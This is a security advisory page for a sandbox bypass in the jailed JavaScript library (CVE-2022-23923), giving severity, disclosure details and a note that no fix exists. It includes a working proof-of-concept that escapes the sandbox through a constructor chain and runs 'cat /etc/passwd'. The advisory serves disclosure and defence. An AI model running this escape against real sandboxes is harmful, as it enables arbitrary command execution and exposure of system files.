Sandbox Bypass Affecting org.webjars.bower:jailed package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.5% (77th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JAVA-ORGWEBJARSBOWER-2441254
  • published6 Apr 2022
  • disclosed2 Feb 2022
  • creditCristian-Alexandru Staicu, Abdullah Alhamdan

Introduced: 2 Feb 2022

CVE-2022-23923  (opens in a new tab)
CWE-265  (opens in a new tab)

How to fix?

There is no fixed version for org.webjars.bower:jailed.

Overview

org.webjars.bower:jailed is an a small JavaScript library for running untrusted code in a sandbox.

Affected versions of this package are vulnerable to Sandbox Bypass via an exported alert() method which can access the main application. Exported methods are stored in the application.remote object.

PoC

//poc.js
var jailed = require('jailed');
var path = './jailed-plugin.js';

var api = {
    alert: console.log
};

var plugin = new jailed.Plugin(path, api);
//jailed-plugin.js
application.remote.alert(this.constructor.constructor("return process")().mainModule.require("child_process").execSync("cat /etc/passwd").toString());

CVSS Scores

version 3.1